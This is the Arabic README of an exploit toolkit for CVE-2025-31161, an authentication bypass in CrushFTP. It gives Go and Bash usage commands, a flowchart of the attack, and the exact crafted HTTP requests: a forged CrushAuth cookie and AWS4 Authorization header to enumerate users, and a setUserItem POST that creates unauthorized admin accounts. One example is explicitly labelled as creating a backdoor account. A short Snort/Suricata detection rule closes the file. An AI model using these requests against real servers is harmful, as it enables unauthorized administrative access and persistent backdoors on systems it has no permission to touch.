0xdtc/crushftp-auth-bypass-cve-2025-31161استغلال لتجاوز المصادقة CVE-2025-31161 في CrushFTP: يكتشف الأهداف المعرضة للخطر، ويسرد المستخدمين، وينشئ حسابات مسؤول غير مصرح بها عبر طلبات HTTP مصممة في Go و Bash.
مجموعة أدوات شاملة لاستغلال الثغرة CVE-2025-31161، وهي ثغرة تجاوز مصادقة في CrushFTP تسمح بإنشاء حسابات مستخدمين غير مصرح بها.
CVE-2025-31161 هي ثغرة حرجة في تجاوز المصادقة في CrushFTP تسمح للمهاجمين بإنشاء حسابات مستخدمين غير مصرح بها دون مصادقة صحيحة. توجد هذه الثغرة في وظيفة إدارة المستخدمين الخاصة بواجهة الويب.
-t و -p و -tuCrushFTP-auth-bypass-CVE-2025-31161/
├── README.md # هذه التوثيقات
├── cve-2025-31161.go # تطبيق Go (موصى به)
├── cve-2025-31161.sh # تطبيق Bash
└── LICENSE # رخصة MIT
# تثبيت Go (إذا لم يكن مثبتاً بالفعل)
sudo apt install golang-go
# أو
wget https://go.dev/dl/go1.21.0.linux-amd64.tar.gz
sudo tar -C /usr/local -xzf go1.21.0.linux-amd64.tar.gz
export PATH=$PATH:/usr/local/go/bin
# يتطلب curl (عادةً مثبت مسبقاً)
sudo apt install curl
git clone <repository-url>
cd CrushFTP-auth-bypass-CVE-2025-31161
chmod +x cve-2025-31161.sh
# الاستخدام الأساسي مع العلامات المختصرة
go run cve-2025-31161.go -t example.com -lu
# مع منفذ مخصص
go run cve-2025-31161.go -t example.com -p 8080 -lu
# العلامات بالصيغة الطويلة
go run cve-2025-31161.go --target_host example.com --port 8080 -lu
# إنشاء مستخدم جديد (سيطلب اسم المستخدم وكلمة المرور)
go run cve-2025-31161.go -t example.com -au
# مع مستخدم هدف مخصص (الافتراضي: crushadmin)
go run cve-2025-31161.go -t example.com -tu admin -au
# العلامات بالصيغة الطويلة
go run cve-2025-31161.go --target_host example.com --target_user admin -au
# الاستخدام الأساسي
./cve-2025-31161.sh -t example.com -lu
# مع منفذ مخصص
./cve-2025-31161.sh -t example.com -p 8080 -lu
# إنشاء مستخدم جديد
./cve-2025-31161.sh -t example.com -au
# مع إعدادات مخصصة
./cve-2025-31161.sh -t example.com -p 8080 -tu crushadmin -au
| العلامة | الصيغة الطويلة | الوصف | الافتراضي |
|---|---|---|---|
-t | --target_host | اسم المضيف الهدف أو IP (مطلوب) | - |
-p | --port | المنفذ الهدف | 80 |
-tu | --target_user | المستخدم الهدف للاستغلال | crushadmin |
-lu | --list-users | سرد المستخدمين الحاليين | - |
-au | --add-user | إضافة مستخدم جديد (تفاعلي) | - |
--help | عرض رسالة المساعدة | - |
# مثال 1: تعداد المستخدمين على الهدف
go run cve-2025-31161.go -t ftp.example.htb -lu
# مثال 2: إنشاء حساب خلفي
go run cve-2025-31161.go -t ftp.example.htb -au
# ثم أدخل: username: backdoor, password: P@ssw0rd123
# مثال 3: منفذ غير قياسي مع تعداد المستخدمين
./cve-2025-31161.sh -t 192.168.1.100 -p 9090 -lu
# عرض المساعدة
./cve-2025-31161.sh --help
flowchart TD
A[بدء الاستغلال] --> B[فحص اتصال الهدف]
B --> C{هل الهدف قابل للوصول؟}
C -->|لا| D[خروج: فشل الاتصال]
C -->|نعم| E[إرسال طلب getUserList]
E --> F{هل يحتوي الرد على OK؟}
F -->|لا| G[خروج: غير قابل للاستغلال]
F -->|نعم| H[الهدف قابل للاستغلال!]
H --> I{الوضع المحدد؟}
I -->|سرد المستخدمين -lu| J[تحليل رد XML]
J --> K[عرض قائمة المستخدمين]
K --> L[خروج: نجاح]
I -->|إضافة مستخدم -au| M[طلب اسم المستخدم]
M --> N[طلب كلمة المرور]
N --> O[إرسال طلب تسخين]
O --> P[بناء حمولة إنشاء المستخدم]
P --> Q[إرسال طلب setUserItem]
Q --> R{هل تم إنشاء المستخدم بنجاح؟}
R -->|نعم| S[نجاح: تم إنشاء الحساب]
R -->|لا| T[فشل: الاستغلال لم ينجح]
style A fill:#e1f5fe
style H fill:#c8e6c9
style K fill:#81c784
style S fill:#4caf50
style D fill:#ffcdd2
style G fill:#ffcdd2
style T fill:#ffcdd2
يرسل السكريبت أولاً طلب getUserList للتحقق مما إذا كان الهدف قابلاً للاستغلال:
GET /webinterface/function/?command=getUserList&serverGroup=MainUsers&c2f=wIwV
Cookie: CrushAuth=1758816957058_vuiPVygdYnM1kzYGOs9d3tzIbFWIwV
Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/
إذا كان الرد يحتوي على <response_status>OK</response_status>، فإن الهدف قابل للاستغلال.
عند استخدام العلامة -lu، يقوم السكريبت بتحليل رد XML واستخراج أسماء المستخدمين:
<user_list type="vector">
<user_list_subitem>ben</user_list_subitem>
<user_list_subitem>crushadmin</user_list_subitem>
<user_list_subitem>default</user_list_subitem>
</user_list>
الإخراج:
[+] المستخدمون:
- ben
- crushadmin
- default
عند استخدام العلامة -au، يرسل السكريبت طلب setUserItem مع حمولة XML ضارة:
POST /webinterface/function/
Content-Type: application/x-www-form-urlencoded
command=setUserItem&data_action=replace&serverGroup=MainUsers&username=newuser&user=<USER_XML>&xmlItem=user&vfs_items=<VFS_XML>&permissions=<PERMISSIONS_XML>&c2f=31If
يتحقق السكريبت من وجود <response_status>OK</response_status> في الرد لتأكيد نجاح إنشاء المستخدم.
تنشأ الثغرة من فحص غير كافٍ للمصادقة في وظيفة إدارة المستخدمين لواجهة ويب CrushFTP. يقبل التطبيق طلبات إنشاء مستخدم دون التحقق السليم من صلاحيات المتصل.
setUserItem غير المعتادة في سجلات الويب/webinterface/function/# مثال قاعدة Snort/Suricata
alert http any any -> any any (msg:"محاولة استغلال CrushFTP CVE-2025-31161"; flow:established,to_server; content:"setUserItem"; http_uri; content:"serverGroup=MainUsers"; http_client_body; sid:1000001; rev:1;)